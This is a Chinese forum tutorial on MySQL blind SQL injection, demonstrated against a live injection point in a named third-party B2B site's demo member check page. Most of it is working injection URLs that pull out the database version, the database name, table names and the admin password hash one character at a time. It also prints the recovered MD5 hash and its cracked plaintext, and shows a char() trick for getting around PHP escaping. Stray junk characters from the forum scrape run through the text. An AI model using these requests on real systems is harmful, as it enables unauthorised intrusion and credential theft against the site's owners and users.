MySQL盲注最全 实例讲解 详解

admin

本文实例来自习科论坛交流三群。这个注入点可以使用错误回显注入来爆数据，本文出于讲解的目的，使用更麻烦的盲注。
! Z* R& N+ d  d! a- d, r阅读本文，需要有一点点SQL基础。盲注理解起来其实非常简单，就是做起来非常费劲
0 e$ l* J, |( w  G作者：YoCo Smart
, L1 g- W7 R% }' L, ^' @来自：习科信息技术 - http://BlackBap.Org
+ L6 G9 j: o) m$ N& t5 J  c, }0 o我们先来看注入点，是一个B2B网站建站公司：

• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin
• 用户名已被注册
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'
• select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1
  * [& f7 i/ x$ t; v( L3 w

3 |2 \$ z8 e1 H. ~复制代码
错误提示已经很明了了。我们看一下注入页面的代码（有删改）：

• $js_user = trim($_GET["js_user"]);
• if($js_user){
• $num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
• if(!$num)
• echo "<div class=tips3></div>";
• else
• echo "<div class=tips2>用户名已被注册</div>";
• }
  

复制代码
以GET方式取值的变量js_user虽然没有过滤被直接带入了数据库执行，并且MySQL也执行了，但是并没有显示数据库的任何信息，而是判断是否符合
那么我们先从union的盲注来看吧。
) f8 ?3 d% G" \; i  X! O: x先看版本：

• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)=5%23
  ) W! N* B  ~& ?8 |1 _; E0 W+ x4 f! W

) o- f6 ~9 B! I8 ~2 R8 M: o复制代码
. c# q% i+ z( |这个时候我们来看看原来的代码中的SQL语句是怎么执行的：

• select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#'
  

复制代码
因为执行成功，所以不符合if(!$num)这个条件，回显“用户名已被注册”，那么版本为5成立
再来看database()的数据：

• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(database())=6%23
• database()长度6
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),1)='l'%23
• l
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),2)='li'%23
• li
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),3)='lic'%23
• lic
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),4)='licl'%23
• licl
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),5)='licln'%23
• licln
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),6)='liclny'%23
• licclny
  ( p7 B& a9 {% k- q: C

6 I. H( B2 B3 A. y- T, k. E+ R复制代码
% ^* \) q+ F: Ulength()函数是计算括号中数据的长度，回显为纯数字，可以用大于小于和等于号来判断是否正确。
这里要注意看一下left()函数中的数字变化，关于left()函数，可以自行参考MySQL手册。
1 r& s, O7 a6 I- \再来看一点简单的判断句：

• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(pass)=32%23
• select userid from demo_b2b_member where user = 'admin'and length(pass)=32#'
  , a: t; b. ]+ B2 j' r( ]

复制代码
这个时候length()函数中的pass是猜测的，当然是建立在猜测正确的基础上。
这里要说的是，pass和前面select后的userid同属一个表段demo_b2b_admin，所以不需要再带select语句
那么这里就能得到：

• 这里最后没有'#这个终止符，大家带进去看一下，你们懂得。前开后闭。
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,1)='0
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,2)='04
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,3)='048
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,4)='0484
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,5)='04843
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,6)='04843e
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,7)='04843e9
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,8)='04843e9f
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,9)='04843e9f9
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,10)='04843e9f91
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,11)='04843e9f91a
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,12)='04843e9f91ad
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,13)='04843e9f91adf
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,14)='04843e9f91adf2
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,15)='04843e9f91adf22
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,16)='04843e9f91adf228
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,17)='04843e9f91adf2287
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,18)='04843e9f91adf2287c
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,19)='04843e9f91adf2287c0
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,20)='04843e9f91adf2287c0a
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,21)='04843e9f91adf2287c0af
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,22)='04843e9f91adf2287c0af5
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,23)='04843e9f91adf2287c0af5f
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,24)='04843e9f91adf2287c0af5fe
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,25)='04843e9f91adf2287c0af5fe1
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,26)='04843e9f91adf2287c0af5fe16
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,27)='04843e9f91adf2287c0af5fe167
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,28)='04843e9f91adf2287c0af5fe1675
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,29)='04843e9f91adf2287c0af5fe16750
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,30)='04843e9f91adf2287c0af5fe16750a
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,31)='04843e9f91adf2287c0af5fe16750a3
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,32)='04843e9f91adf2287c0af5fe16750a35
• 长度是32，是md5加密，解密得到lcl2wly
  

复制代码
; J& u6 r* Q8 y* _这样，猜数据的方法你肯定是懂了
; i4 L/ W9 ^* d6 t! x, J

" u! A" s( V' K; n$ M最后，我们来看demo_b2b_admin以外的数据，现在再来猜表段：

• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<100%23
• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%23
  ( Y) K$ O  q& O7 j' `& }

5 o* E* n6 i1 \# T复制代码
实际运行的SQL语句就是：

• select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'
  # o) G1 @& Q* ?6 W5 {4 l1 j3 \

复制代码
上面这个语句，对于information_schema不明白的，可以参考其他MySQL注入文章来看一下这个库的意义。
9 B, X$ K1 A# H' }+ x7 x6 P关于limit x,y 的用法，可以参考MySQL手册
) w/ u4 e" _5 t0 ~
1 u7 g) \7 u. V% N$ A$ P' _& Q最后剩下的要说的就是ascii函数和hex函数了
! [. Y. d6 `2 q: v( Q5 P- m这两个函数的意义是避开php的GPC转义，例如：

• http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+substr(left(pass,1),1,1)=char(48)%23
• select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)#
  " c1 R" Z, m6 l: g

! [4 d+ l2 R/ P4 x2 s复制代码
0 Q; a9 i$ v- X0 ^3 {  e. xsubstr()的用法可以参考MySQL手册，如果不懂，就这样套好了。Char()里面的数字替换为ascii码数字